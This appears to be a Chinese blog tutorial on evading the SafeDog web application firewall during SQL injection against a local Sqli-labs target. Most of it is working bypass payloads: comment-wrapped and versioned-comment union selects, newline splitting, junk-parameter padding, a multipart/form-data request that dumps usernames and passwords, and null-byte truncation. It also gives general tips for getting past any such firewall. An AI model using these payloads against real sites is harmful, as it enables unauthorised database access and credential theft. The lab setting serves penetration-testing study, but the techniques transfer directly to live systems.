靶场:Sqli-labs WAF:安全狗V4.0(最新版) 测试环境:Apache/2.4.23+PHP5.2.17+Mysql5.5.38

1.未开启安全狗时,测试是靶场环境是否存在注入点

http://192.168.30.128/sql/Less-2/?id=1%20and%201=1,回显正常
sql2.png

http://192.168.30.128/sql/Less-2/?id=1%20and%201=2,可以看到and 1=2回显异常,说明此处存在SQL注入
sql3.png

2.开启网站安全狗
sql4.png
使用http://192.168.30.128/sql/Less-2/?id=1%20and%201=1这时候在对网站进行测试时发现已经被安全狗给拦截了
SQL5.png

查看安全狗SQL防注入规则,发现and ,or,基于时间,order by,联合查询等注入进行了关键词过滤,实际环境中可以自己手动测试或者使用Fuzz大法,去发现哪些语句可以绕过WAF,这里就不做演示了。
sqll6.png

上面说了一堆废话,现在开始真正的干货了,下面会讲到绕所有WAF的大概思路

思路:在设计WAF系统时,考虑自身性能问题,当数据量达到一定层级,不检测这部分数据。只要不断的填充数据,当数据达到一定数目之后,恶意代码就不会被检测了。
1.输入order by 2#页面被安全狗拦截。
Bypass1.png
2.构造一个垃圾参数a=ABDAS*AABBBuname=admin%27+order+by+2%23&passwd=123&submit=Submit,页面返回正常没有被狗拦截。
Bypass1.1.png

id=1/**&id=-1%20union%20select%201,2,3%23*/(推荐/**里面任何敏感参数都可以秒杀绕过安全狗*/)
id=-1%20union%20/*!44509select*/%201,2,3%23
id=1%20union%20all%23%0a%20select%201,2,3%23

GET、POST、COOKIE等
POST请求可以转成multipart/form-data文件上传格式请求数据包进行绕过。

Content-Type:multipart/form-data;boundary=--------1505790160
Content-Length:172

--------1505790160
Content-Disposition: name="id"

1' union

select

null,

concat_ws(char(32,58,32),user,password)

from users #
--------1505790160--


1.WAF规则设定时只针对了POST请求进行过滤,忽略了GET请求的有害参数,此时我们只需要以GET请求,进行测试即可。
2.HTTP和HTTPS同时开放服务时,网站没有做HTTP到HTTPS强制跳转,导致HTTPS 有WAF防护,HTTP没有防护,直接访问HTTP站点进行绕过。
3.有一些WAF遇到%00截断,只能获取到前面的参数,无法获取到后面的有些参数。比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

最后修改:2020 年 10 月 19 日 12 : 56 PM
如果觉得我的文章对你有用,请随意赞赏